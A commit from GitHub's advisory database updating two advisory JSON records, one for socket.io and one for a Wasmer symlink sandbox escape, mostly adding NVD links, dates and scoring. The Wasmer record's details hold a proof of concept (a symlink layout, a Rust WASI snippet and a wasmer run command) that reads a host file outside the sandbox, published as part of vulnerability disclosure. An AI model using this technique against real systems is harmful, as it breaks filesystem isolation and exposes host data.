Publish Advisories

GHSA-25hc-qcg6-38wj
GHSA-55f3-3qvg-8pv5
This commit is contained in:
advisory-database[bot]
2024-06-20 14:16:30 +00:00
parent 9f5849b8be
commit 06db421c73
2 changed files with 17 additions and 5 deletions
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-25hc-qcg6-38wj",
"modified": "2024-06-19T18:38:19Z",
"modified": "2024-06-20T14:14:51Z",
"published": "2024-06-19T15:04:41Z",
"aliases": [
"CVE-2024-38355"
@@ -66,6 +66,10 @@
"type": "WEB",
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-25hc-qcg6-38wj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38355"
},
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115"
@@ -81,11 +85,12 @@
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-754"
],
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2024-06-19T15:04:41Z",
"nvd_published_at": null
"nvd_published_at": "2024-06-19T20:15:11Z"
}
}
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-55f3-3qvg-8pv5",
"modified": "2024-06-19T18:38:48Z",
"modified": "2024-06-20T14:14:38Z",
"published": "2024-06-07T19:40:00Z",
"aliases": [
"CVE-2024-38358"
@@ -9,7 +9,10 @@
"summary": "Symlink bypasses filesystem sandbox",
"details": "### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n └── dir\n └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n unsafe {\n let filefd = wasi::path_open(\n 5,\n wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n \"app/dir/file\",\n wasi::OFLAGS_CREAT,\n wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n 0,\n 0,\n )\n .unwrap();\n eprintln!(\"filefd: {filefd}\");\n\n let mut buf = [0u8; 10];\n let iovs = [wasi::Iovec {\n buf: buf.as_mut_ptr(),\n buf_len: buf.len(),\n }];\n\n let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
}
],
"affected": [
{
@@ -37,6 +40,10 @@
"type": "WEB",
"url": "https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38358"
},
{
"type": "WEB",
"url": "https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662"
@@ -53,6 +60,6 @@
"severity": "LOW",
"github_reviewed": true,
"github_reviewed_at": "2024-06-07T19:40:00Z",
"nvd_published_at": null
"nvd_published_at": "2024-06-19T20:15:11Z"
}
}